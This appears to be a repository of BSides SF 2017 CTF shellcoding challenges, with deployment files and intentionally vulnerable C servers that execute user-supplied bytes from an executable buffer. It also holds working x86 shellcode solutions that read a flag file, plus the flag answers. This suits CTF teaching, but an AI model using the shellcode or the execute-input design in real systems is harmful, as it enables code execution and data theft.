redeploy 8 | 9 | container: 10 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 11 | 12 | # Push the container to the google container registry. 13 | # This is the first step in deploying the challenge 14 | push: 15 | gcloud docker -- push ${CONTAINER_TAG} 16 | 17 | # Deploy the challenge to kubernetes 18 | deploy: 19 | kubectl create -f deployment/deploy.yaml 20 | 21 | redeploy: 22 | # Errr... I guess this works 23 | kubectl delete -f deployment/deploy.yaml 24 | kubectl create -f deployment/deploy.yaml 25 | 26 | # This is what exposes the container to the world 27 | deploy-service: 28 | kubectl create -f deployment/service.yaml 29 | 30 | # Delete the challenge from our cluster 31 | delete: 32 | kubectl delete -f deployment/deploy.yaml 33 | kubectl delete -f deployment/service.yaml 34 | -------------------------------------------------------------------------------- /nibbler/README.md: -------------------------------------------------------------------------------- 1 | Building shellcode, one nibble at a time, using a snake-style game! 2 | -------------------------------------------------------------------------------- /nibbler/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | ADD nibbler.xinetd /etc/xinetd.d/nibbler 13 | 14 | USER root 15 | EXPOSE 6130 16 | 17 | CMD service xinetd restart && sleep infinity 18 | -------------------------------------------------------------------------------- /nibbler/challenge/nibbler.xinetd: -------------------------------------------------------------------------------- 1 | service nibbler 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6130 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /home/ctf/nibbler 11 | type = UNLISTED 12 | } 13 | -------------------------------------------------------------------------------- /nibbler/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS?=-Wall -fno-stack-protector -m32 2 | LIBS?=-lpthread -lm 3 | all: nibbler 4 | 5 | clean: 6 | rm -f nibbler *.o core core.* 7 | 8 | nibbler: nibbler.o 9 | ${CC} ${CFLAGS} -o nibbler nibbler.o ${LIBS} 10 | -------------------------------------------------------------------------------- /nibbler/challenge/src/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG:c6888f365033505715038f57a551bce1 2 | -------------------------------------------------------------------------------- /nibbler/challenge/src/nibbler.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 12 | 13 | /* Note: It's important that these are prime numbers, otherwise it might be 14 | * impossible to build shellcode. */ 15 | #define BOARD_WIDTH 23 16 | #define BOARD_HEIGHT 19 17 | 18 | #define STARTING_MAX_LENGTH 16 19 | #define CODE_LENGTH 1024 20 | 21 | static int delay = 500000; 22 | 23 | typedef struct { 24 | ssize_t row; 25 | ssize_t col; 26 | char direction; 27 | } coords_t; 28 | 29 | typedef enum { 30 | SCORE_STATE_LEFT, 31 | SCORE_STATE_RIGHT 32 | } score_state_t; 33 | 34 | /* The global state. */ 35 | typedef struct { 36 | coords_t prize; 37 | uint8_t prize_value; 38 | 39 | /* This will be an array that's expanded as time goes on. */ 40 | coords_t *snake; 41 | ssize_t snake_length; 42 | ssize_t snake_max_length; 43 | char snake_direction; 44 | int is_growing; 45 | 46 | /* A random obstacle, to make things a little trickier. */ 47 | coords_t obstacle; 48 | 49 | /* The score array. */ 50 | uint8_t *scores; 51 | ssize_t score_num; 52 | score_state_t score_state; 53 | 54 | /* The UI thread. */ 55 | pthread_t ui_thread; 56 | } state_t; 57 | static state_t state; 58 | 59 | static void print_times(char c, ssize_t times) 60 | { 61 | ssize_t i; 62 | 63 | for(i = 0; i < times; i++) 64 | printf("%c", c); 65 | } 66 | 67 | static void print_character_at(ssize_t row, ssize_t col) 68 | { 69 | ssize_t i; 70 | 71 | /* Check if we're printing the prize. */ 72 | if(row == state.prize.row && col == state.prize.col) { 73 | if(state.score_state == SCORE_STATE_LEFT) 74 | printf("%x0", state.prize_value); 75 | else 76 | printf("0%x", state.prize_value); 77 | 78 | return; 79 | } 80 | 81 | /* Check if we're printing the snake's head. */ 82 | if(row == state.snake[0].row && col == state.snake[0].col) { 83 | printf("@@"); 84 | return; 85 | } 86 | 87 | if(row == state.obstacle.row && col == state.obstacle.col) { 88 | printf("**"); 89 | return; 90 | } 91 | 92 | /* Check if we're printing the snake's body. */ 93 | for(i = 1; i < state.snake_length; i++) { 94 | if(row == state.snake[i].row && col == state.snake[i].col) { 95 | printf("oo"); 96 | return; 97 | } 98 | } 99 | 100 | /* Print an empty space. */ 101 | printf(" "); 102 | } 103 | 104 | static void draw_board() 105 | { 106 | ssize_t row, col; 107 | int i; 108 | 109 | /* Print the score. */ 110 | printf("Score: "); 111 | for(i = 0; i < state.score_num; i++) { 112 | printf("%02x ", state.scores[i]); 113 | } 114 | if(state.score_state == SCORE_STATE_RIGHT) 115 | printf("%x?", state.scores[state.score_num] >> 4); 116 | printf("\n\n"); 117 | 118 | /* Top. */ 119 | printf("+"); 120 | print_times('^', BOARD_WIDTH * 2); 121 | printf("+"); 122 | printf("\n"); 123 | 124 | /* Rows. */ 125 | for(row = 0; row < BOARD_HEIGHT; row++) { 126 | printf("<"); 127 | for(col = 0; col < BOARD_WIDTH; col++) { 128 | print_character_at(row, col); 129 | } 130 | printf(">"); 131 | printf("\n"); 132 | } 133 | 134 | /* Bottom. */ 135 | printf("+"); 136 | print_times('v', BOARD_WIDTH * 2); 137 | printf("+"); 138 | printf("\n"); 139 | printf("Directions: (gotta press after)\n"); 140 | printf("w = up\n"); 141 | printf("a = left\n"); 142 | printf("s = down\n"); 143 | printf("d = right\n"); 144 | printf("\n"); 145 | } 146 | 147 | static coords_t dir_to_move(char dir) { 148 | coords_t result; 149 | result.row = 0; 150 | result.col = 0; 151 | 152 | switch(dir) { 153 | case 'w': 154 | result.row = -1; 155 | break; 156 | 157 | case 'a': 158 | result.col = -1; 159 | break; 160 | 161 | case 's': 162 | result.row = 1; 163 | break; 164 | 165 | case 'd': 166 | result.col = 1; 167 | break; 168 | } 169 | 170 | return result; 171 | } 172 | 173 | static ssize_t increment(ssize_t value, ssize_t direction, ssize_t max) 174 | { 175 | value += direction; 176 | 177 | if(value >= max) 178 | value = 0; 179 | else if(value < 0) 180 | value = max - 1; 181 | 182 | return value; 183 | } 184 | 185 | static void move_snake() { 186 | int i; 187 | coords_t segment_move; 188 | 189 | /* Move the body. */ 190 | if(state.is_growing) { 191 | /* Shift everything back by 1, except for the head. */ 192 | for(i = state.snake_length - 1; i > 0; i--) { 193 | state.snake[i].row = state.snake[i-1].row; 194 | state.snake[i].col = state.snake[i-1].col; 195 | state.snake[i].direction = state.snake[i-1].direction; 196 | } 197 | 198 | /* Move the head. */ 199 | segment_move = dir_to_move(state.snake_direction); 200 | state.snake[0].row = increment(state.snake[0].row, segment_move.row, BOARD_HEIGHT); 201 | state.snake[0].col = increment(state.snake[0].col, segment_move.col, BOARD_WIDTH); 202 | state.snake[0].direction = state.snake_direction; /* TODO: I don't think this line matters. */ 203 | state.is_growing = 0; 204 | } else { 205 | for(i = state.snake_length - 1; i > 0; i--) { 206 | segment_move = dir_to_move(state.snake[i-1].direction); 207 | state.snake[i].row = increment(state.snake[i].row, segment_move.row, BOARD_HEIGHT); 208 | state.snake[i].col = increment(state.snake[i].col, segment_move.col, BOARD_WIDTH); 209 | state.snake[i].direction = state.snake[i-1].direction; 210 | } 211 | 212 | /* Move the head. */ 213 | segment_move = dir_to_move(state.snake_direction); 214 | state.snake[0].row = increment(state.snake[0].row, segment_move.row, BOARD_HEIGHT); 215 | state.snake[0].col = increment(state.snake[0].col, segment_move.col, BOARD_WIDTH); 216 | state.snake[0].direction = state.snake_direction; 217 | } 218 | } 219 | 220 | static void place_prize() 221 | { 222 | state.prize.row = rand() % BOARD_HEIGHT; 223 | state.prize.col = rand() % BOARD_WIDTH; 224 | state.prize_value = rand() & 0x0F; 225 | 226 | do { 227 | state.obstacle.row = rand() % BOARD_HEIGHT; 228 | state.obstacle.col = rand() % BOARD_WIDTH; 229 | } while(state.obstacle.row == state.prize.row && state.obstacle.col == state.prize.col); 230 | } 231 | 232 | static int check_collision() 233 | { 234 | ssize_t i; 235 | 236 | /* Check if they're on top of a number. */ 237 | if(state.snake[0].row == state.prize.row && state.snake[0].col == state.prize.col) { 238 | /* Grow the snake. */ 239 | state.snake_length += 1; 240 | state.is_growing = 1; 241 | 242 | /* Allocate more room for the body if needed. */ 243 | if(state.snake_length >= state.snake_max_length) { 244 | state.snake_max_length = state.snake_max_length * 2; 245 | state.snake = realloc(state.snake, sizeof(coords_t) * state.snake_max_length); 246 | } 247 | 248 | /* Start the last segment start to a bad value - it'll be updated as soon 249 | as it moves, we just don't want it to be drawn yet. */ 250 | state.snake[state.snake_length - 1].row = -1; 251 | state.snake[state.snake_length - 1].col = -1; 252 | 253 | if(state.score_state == SCORE_STATE_LEFT) 254 | { 255 | state.score_state = SCORE_STATE_RIGHT; 256 | state.scores[state.score_num] = state.prize_value << 4; 257 | } 258 | else 259 | { 260 | state.score_state = SCORE_STATE_LEFT; 261 | state.scores[state.score_num] |= state.prize_value; 262 | state.score_num++; 263 | } 264 | 265 | place_prize(); 266 | 267 | return 0; 268 | } 269 | 270 | /* Check if they're out of bounds. */ 271 | #if 0 272 | if(state.snake[0].row < 0 || state.snake[0].col < 0 || state.snake[0].row >= BOARD_HEIGHT || state.snake[0].col >= BOARD_WIDTH) { 273 | printf("Ouch! You hit a wall!\n"); 274 | return 1; 275 | } 276 | #endif 277 | 278 | /* Check if they hit themselves. */ 279 | for(i = 1; i < state.snake_length; i++) { 280 | if(state.snake[0].row == state.snake[i].row && state.snake[0].col == state.snake[i].col) { 281 | printf("Ouch! You hit yourself!\n"); 282 | return 1; 283 | } 284 | } 285 | 286 | /* Check if the hit the obstacle. */ 287 | if(state.snake[0].row == state.obstacle.row && state.snake[0].col == state.obstacle.col) { 288 | return 1; 289 | } 290 | 291 | return 0; 292 | } 293 | 294 | static void *ui_thread(void *direction_ptr) { 295 | for(;;) { 296 | char move = getchar(); 297 | 298 | if(move == 'w' || move == 'a' || move == 's' || move == 'd') { 299 | *((char*)direction_ptr) = move; 300 | } 301 | } 302 | return NULL; 303 | } 304 | 305 | void init() 306 | { 307 | char str_delay[16]; 308 | 309 | printf("How many microseconds of delay would you like, per tick? [500000]\n"); 310 | printf("> "); 311 | fflush(stdout); 312 | read(fileno(stdin), str_delay, 16); 313 | str_delay[15] = '\0'; 314 | delay = atoi(str_delay); 315 | if(delay <= 0) 316 | delay = 500000; 317 | 318 | srand(time(NULL)); 319 | 320 | place_prize(&state); 321 | state.snake_max_length = STARTING_MAX_LENGTH; 322 | state.snake = (coords_t*) malloc(sizeof(coords_t) * STARTING_MAX_LENGTH); 323 | 324 | state.snake_length = 1; 325 | state.snake[0].row = rand() % BOARD_HEIGHT; 326 | state.snake[0].col = rand() % BOARD_WIDTH; 327 | state.snake_direction = 's'; 328 | state.score_num = 0; 329 | } 330 | 331 | int main(int argc, char *argv[]) 332 | { 333 | disable_buffering(stdout); 334 | disable_buffering(stderr); 335 | 336 | init(); 337 | state.scores = mmap(NULL, CODE_LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 338 | state.score_state = SCORE_STATE_LEFT; 339 | 340 | /* Create a UI thread. */ 341 | if(pthread_create(&state.ui_thread, NULL, ui_thread, &state.snake_direction)) { 342 | printf("Error creating thread\n"); 343 | return 1; 344 | } 345 | 346 | for(;;) { 347 | draw_board(&state); 348 | 349 | state.prize_value = (state.prize_value + 1) & 0x0F; 350 | 351 | /* The delay. which has to come after drawing the board but before moving 352 | * the snake. */ 353 | usleep(delay); 354 | 355 | move_snake(&state); 356 | 357 | if(check_collision(&state)) 358 | break; 359 | 360 | } 361 | 362 | alarm(10); 363 | 364 | printf("Thanks for playing!\n"); 365 | asm("call *%0\n" : :"r"(state.scores)); 366 | 367 | return 0; 368 | } 369 | -------------------------------------------------------------------------------- /nibbler/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: nibbler 6 | spec: 7 | replicas: 3 8 | template: 9 | metadata: 10 | labels: 11 | app: nibbler 12 | spec: 13 | containers: 14 | - name: nibbler 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/nibbler 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6130 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /nibbler/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: nibbler-service 5 | labels: 6 | app: nibbler 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6130 11 | targetPort: 6130 12 | selector: 13 | app: nibbler 14 | -------------------------------------------------------------------------------- /nibbler/distfiles/README.rd: -------------------------------------------------------------------------------- 1 | Build some shellcode using the snake game, and read /home/ctf/flag.txt! 2 | -------------------------------------------------------------------------------- /nibbler/distfiles/nibbler.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/nibbler.c -------------------------------------------------------------------------------- /nibbler/solution/README.md: -------------------------------------------------------------------------------- 1 | I haven't written a solution to this, and probably won't. 2 | 3 | But, it's self-evidently solveable, given time. It's just exceedingly tricky. 4 | -------------------------------------------------------------------------------- /readfile-nz/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/readfile-nz 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /readfile-nz/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /readfile-nz/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD readfile-nz.xinetd /etc/xinetd.d/readfile-nz 17 | 18 | USER root 19 | EXPOSE 6125 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /readfile-nz/challenge/readfile-nz.xinetd: -------------------------------------------------------------------------------- 1 | service readfile-nz 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6125 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/readfile-nz 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /readfile-nz/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=readfile-nz.o 3 | 4 | readfile-nz: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o readfile-nz readfile-nz.c 6 | 7 | clean: 8 | rm -fv *.o readfile-nz core core.* 9 | -------------------------------------------------------------------------------- /readfile-nz/challenge/src/flag.txt: -------------------------------------------------------------------------------- 1 | 520bb974b0d9d28690b7ad84ce9b700e 2 | -------------------------------------------------------------------------------- /readfile-nz/challenge/src/readfile-nz.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define LENGTH 1024 9 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 10 | 11 | int main(int argc, char *argv[]) 12 | { 13 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 14 | ssize_t len; 15 | int i; 16 | 17 | alarm(10); 18 | 19 | disable_buffering(stdout); 20 | disable_buffering(stderr); 21 | 22 | printf("Send me stuff!! Your goal: read /home/ctf/flag.txt\n"); 23 | len = read(0, buffer, LENGTH); 24 | 25 | if(len < 0) { 26 | printf("Error reading!\n"); 27 | exit(1); 28 | } 29 | 30 | for(i = 0; i < len; i++) { 31 | if(buffer[i] == '\0') { 32 | printf("No NUL bytes!!\n"); 33 | return 0; 34 | } 35 | } 36 | 37 | asm("jmp *%0\n" : :"r"(buffer)); 38 | 39 | return 0; 40 | } 41 | -------------------------------------------------------------------------------- /readfile-nz/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /readfile-nz/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: readfile-nz 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: readfile-nz 12 | spec: 13 | containers: 14 | - name: readfile-nz 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/readfile-nz 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6125 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /readfile-nz/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: readfile-nz-service 5 | labels: 6 | app: readfile-nz 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6125 11 | targetPort: 6125 12 | selector: 13 | app: readfile-nz 14 | -------------------------------------------------------------------------------- /readfile-nz/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /readfile-nz/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /readfile-nz/distfiles/readfile-nz.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/readfile-nz.c -------------------------------------------------------------------------------- /readfile-nz/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | xor eax, eax 4 | mov al, 5 5 | 6 | jmp getfilename1 7 | getfilename2: 8 | 9 | pop ebx 10 | xor ecx, ecx 11 | mov byte [ebx+18], cl 12 | 13 | xor ecx, ecx 14 | int 0x80 ; open 15 | 16 | 17 | push eax ; preserve the handle 18 | 19 | xor eax, eax 20 | mov al, 3 21 | 22 | pop ebx 23 | 24 | mov ecx, esp 25 | 26 | xor edx, edx 27 | mov dl, 32 28 | int 0x80 ; read 29 | 30 | xor eax, eax 31 | mov al, 4 32 | 33 | xor ebx, ebx 34 | inc ebx 35 | 36 | mov ecx, esp 37 | 38 | xor edx, edx 39 | mov dl, 32 40 | int 0x80 ; write 41 | 42 | 43 | xor eax, eax 44 | inc eax 45 | 46 | xor ebx, ebx 47 | 48 | int 0x80 49 | 50 | 51 | getfilename1: 52 | call getfilename2 53 | db '/home/ctf/flag.txtZ' 54 | -------------------------------------------------------------------------------- /readfile/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/readfile 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /readfile/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /readfile/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD readfile.xinetd /etc/xinetd.d/readfile 17 | 18 | USER root 19 | EXPOSE 6124 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /readfile/challenge/readfile.xinetd: -------------------------------------------------------------------------------- 1 | service readfile 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6124 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/readfile 12 | type = UNLISTED 13 | } 14 | -------------------------------------------------------------------------------- /readfile/challenge/src/Makefile: -------------------------------------------------------------------------------- 1 | CC?=gcc 2 | OBJS=readfile.o 3 | 4 | readfile: ${OBJS} 5 | ${CC} -m32 ${CFLAGS} -o readfile readfile.c 6 | 7 | clean: 8 | rm -fv *.o readfile core core.* 9 | -------------------------------------------------------------------------------- /readfile/challenge/src/flag.txt: -------------------------------------------------------------------------------- 1 | 0c49a8112e0c972ad8c1a4999732e278 2 | -------------------------------------------------------------------------------- /readfile/challenge/src/readfile.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define LENGTH 1024 9 | #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) 10 | 11 | int main(int argc, char *argv[]) 12 | { 13 | uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 14 | ssize_t len; 15 | 16 | alarm(10); 17 | 18 | disable_buffering(stdout); 19 | disable_buffering(stderr); 20 | 21 | printf("Send me stuff!! Your goal: read /home/ctf/flag.txt\n"); 22 | len = read(0, buffer, LENGTH); 23 | 24 | if(len < 0) { 25 | printf("Error reading!\n"); 26 | exit(1); 27 | } 28 | 29 | asm("jmp *%0\n" : :"r"(buffer)); 30 | 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /readfile/challenge/xinetd.conf: -------------------------------------------------------------------------------- 1 | # Simple configuration file for xinetd 2 | # 3 | # Some defaults, and include /etc/xinetd.d/ 4 | 5 | defaults 6 | { 7 | 8 | # Please note that you need a log_type line to be able to use log_on_success 9 | # and log_on_failure. The default is the following : 10 | log_type = FILE /var/log/xinetd/xinetd.log 11 | log_on_success = HOST PID DURATION 12 | 13 | } 14 | 15 | includedir /etc/xinetd.d 16 | -------------------------------------------------------------------------------- /readfile/deployment/deploy.yaml: -------------------------------------------------------------------------------- 1 | # Define which containers to run 2 | apiVersion: extensions/v1beta1 3 | kind: Deployment 4 | metadata: 5 | name: readfile 6 | spec: 7 | replicas: 2 8 | template: 9 | metadata: 10 | labels: 11 | app: readfile 12 | spec: 13 | containers: 14 | - name: readfile 15 | # This should be the same container tag as created by the Makefile 16 | image: gcr.io/bsides-sf-ctf-2017/readfile 17 | ports: 18 | # This is the port that the container exposes 19 | - containerPort: 6124 20 | volumeMounts: 21 | - mountPath: /var/run/secrets/kubernetes.io/serviceaccount 22 | name: no-api-access-please 23 | readOnly: true 24 | volumes: 25 | - name: no-api-access-please 26 | emptyDir: {} 27 | -------------------------------------------------------------------------------- /readfile/deployment/service.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Service 3 | metadata: 4 | name: readfile-service 5 | labels: 6 | app: readfile 7 | spec: 8 | type: LoadBalancer 9 | ports: 10 | - port: 6124 11 | targetPort: 6124 12 | selector: 13 | app: readfile 14 | -------------------------------------------------------------------------------- /readfile/distfiles/Makefile: -------------------------------------------------------------------------------- 1 | ../challenge/src/Makefile -------------------------------------------------------------------------------- /readfile/distfiles/README.md: -------------------------------------------------------------------------------- 1 | The server will run any code you send it. Easy peaasy! 2 | 3 | (The server will give you further instructions) 4 | -------------------------------------------------------------------------------- /readfile/distfiles/readfile.c: -------------------------------------------------------------------------------- 1 | ../challenge/src/readfile.c -------------------------------------------------------------------------------- /readfile/solution/pwn.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | mov eax, 5 4 | call getfilename 5 | db '/home/ctf/flag.txt', 0 6 | getfilename: 7 | pop ebx 8 | mov ecx, 0 9 | int 0x80 10 | push eax ; preserve the handle 11 | 12 | mov eax, 3 13 | pop ebx 14 | mov ecx, esp 15 | mov edx, 32 16 | int 0x80 17 | 18 | mov eax, 4 19 | mov ebx, 1 20 | mov ecx, esp 21 | mov edx, 32 22 | int 0x80 23 | 24 | mov eax, 1 25 | xor ebx, ebx 26 | int 0x80 27 | -------------------------------------------------------------------------------- /readmem-nz/Makefile: -------------------------------------------------------------------------------- 1 | PROJECT_NAME := bsides-sf-ctf-2017 2 | REGISTRY := gcr.io 3 | 4 | # The full tag of the conatiner 5 | CONTAINER_TAG := ${REGISTRY}/${PROJECT_NAME}/readmem-nz 6 | 7 | .PHONY: container push deploy delete deploy-service redeploy 8 | 9 | # Build the docker conatiner with the appropriate tag, allowing us to push it to our registry 10 | # The --no-cache argument builds the container from scratch, which is slow. 11 | container: 12 | docker build --no-cache --tag ${CONTAINER_TAG} challenge 13 | 14 | # Push the container to the google container registry. 15 | # This is the first step in deploying the challenge 16 | push: 17 | gcloud docker -- push ${CONTAINER_TAG} 18 | 19 | # Deploy the challenge to kubernetes 20 | deploy: 21 | kubectl create -f deployment/deploy.yaml 22 | 23 | redeploy: 24 | # Errr... I guess this works 25 | kubectl delete -f deployment/deploy.yaml 26 | kubectl create -f deployment/deploy.yaml 27 | 28 | # This is what exposes the container to the world 29 | deploy-service: 30 | kubectl create -f deployment/service.yaml 31 | 32 | # Delete the challenge from our cluster 33 | delete: 34 | kubectl delete -f deployment/deploy.yaml 35 | kubectl delete -f deployment/service.yaml 36 | -------------------------------------------------------------------------------- /readmem-nz/README.md: -------------------------------------------------------------------------------- 1 | This level requires a user to write some very, very simple shellcode. 2 | -------------------------------------------------------------------------------- /readmem-nz/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN adduser --disabled-password --gecos '' ctf 4 | 5 | RUN apt-get update && apt-get install -y xinetd gcc make libc6-dev-i386 libssl-dev coreutils 6 | 7 | WORKDIR /home/ctf 8 | ADD src/* /home/ctf/ 9 | RUN make 10 | RUN chown -R root:root . 11 | 12 | # Set up xinetd 13 | ADD xinetd.conf /etc/xinetd.conf 14 | RUN mkdir /var/log/xinetd/ 15 | 16 | ADD readmem-nz.xinetd /etc/xinetd.d/readmem-nz 17 | 18 | USER root 19 | EXPOSE 6117 20 | 21 | CMD service xinetd restart && tail -F /var/log/xinetd/xinetd.log 22 | -------------------------------------------------------------------------------- /readmem-nz/challenge/readmem-nz.xinetd: -------------------------------------------------------------------------------- 1 | service readmem-nz 2 | { 3 | protocol = tcp 4 | disable = no 5 | port = 6117 6 | flags = REUSE 7 | socket_type = stream 8 | wait = no 9 | user = ctf 10 | server = /usr/bin/timeout 11 | server_args = 10 /home/ctf/readmem-nz 12 | type = UNLISTED 13 | } 14 | 